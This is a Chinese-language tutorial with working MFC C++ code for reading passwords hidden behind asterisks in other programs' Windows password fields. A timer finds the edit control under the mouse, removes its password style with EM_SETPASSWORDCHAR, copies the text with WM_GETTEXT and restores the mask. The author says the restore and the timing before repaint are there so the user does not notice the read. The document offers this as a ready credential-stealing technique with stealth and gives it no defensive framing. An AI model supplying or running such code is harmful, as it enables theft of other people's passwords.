如何取得被* 隱藏的密碼

How to get pass word in star symbols?

windows視窗中要輸入密碼的文字框

通常為了隱藏資訊都會顯示成*

但是這只是Edit控制項的一個屬性

只要稍微動點手腳,就可以將*號的內容讀出來

 

在這邊敘述一下流程

1. 首先設定一個Timer定時的去取得滑鼠的座標

2. 然後根據滑鼠指到的位置,使用 GetWindowLong 取得目前這個控制項的樣式

   由於 ES_PASSWORD 本身就是 EditControl 的專用屬性

   所以只要判斷有 ES_PASSWORD 他就一定是個 EditControl

   當然也代表他有使用隱藏資訊啦^^

3. 對控制項發送 EM_SETPASSWORDCHAR 使得這個控制項的密碼屬性被關閉

4. 趕快把密碼讀出來XD

5. 再對控制項發送一次 EM_SETPASSWORDCHAR 讓密碼的屬性回復 ( 這樣才不會發現已經被讀取了 )

由於以上動作都在視窗重繪之前完成

所以並不會發生因為控制項閃爍而被發現的情形

 

 

 

以下為程式碼範例

	// 請在 MFC 的 OnInitDialog 呼叫此函式
void CGetPasswordDlg::Init()
{

    CWnd::SetTimer(0,300,CGetPasswordDlg::TimerProc);
}


void CGetPasswordDlg::TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime)
{
    POINT Point;

    ::GetCursorPos(&Point);
    HWND hwndCurr = ::WindowFromPoint(Point);


    // 取得類別名稱
    char szClass[255];
    ::memset(&szClass,0,sizeof(szClass));
    ::GetClassName(hwndCurr, szClass,255);


    // 儲存密碼
    char szPass[255];
    ::memset(&szPass,0,sizeof(szPass));
    

    // 取得式樣
    LONG lStyle = ::GetWindowLong(hwndCurr,GWL_STYLE);


    // 檢查是否有加密
    long lComp = lStyle & ES_PASSWORD;
    if(lComp!=0)
    {
        // 去除密碼屬性
        ::PostMessage(hwndCurr, EM_SETPASSWORDCHAR, 0, 0);
        

        // 取出密碼
        ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szPass);


        // 回復密碼屬性
        ::PostMessage(hwndCurr, EM_SETPASSWORDCHAR, (WPARAM) '*', 0);
    }
    else
    {
        ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szPass);
    }

    CGetPasswordDlg* pDlg = (CGetPasswordDlg*)theApp.GetMainWnd();
    

    char szTitle[255];
    ::memset(&szTitle,0,sizeof(szTitle));
    ::sprintf(szTitle,"%s  hWnd=%d, x=%d, y=%d",TITLE, hwndCurr,Point.x, Point.y);
    
    pDlg->SetWindowText(szTitle);
    pDlg->mEdit.SetWindowText(szClass);
    pDlg->mPassWord.SetWindowText(szPass);

}

 

 

在畫面的下方, 已經成功的將密碼讀取出來

image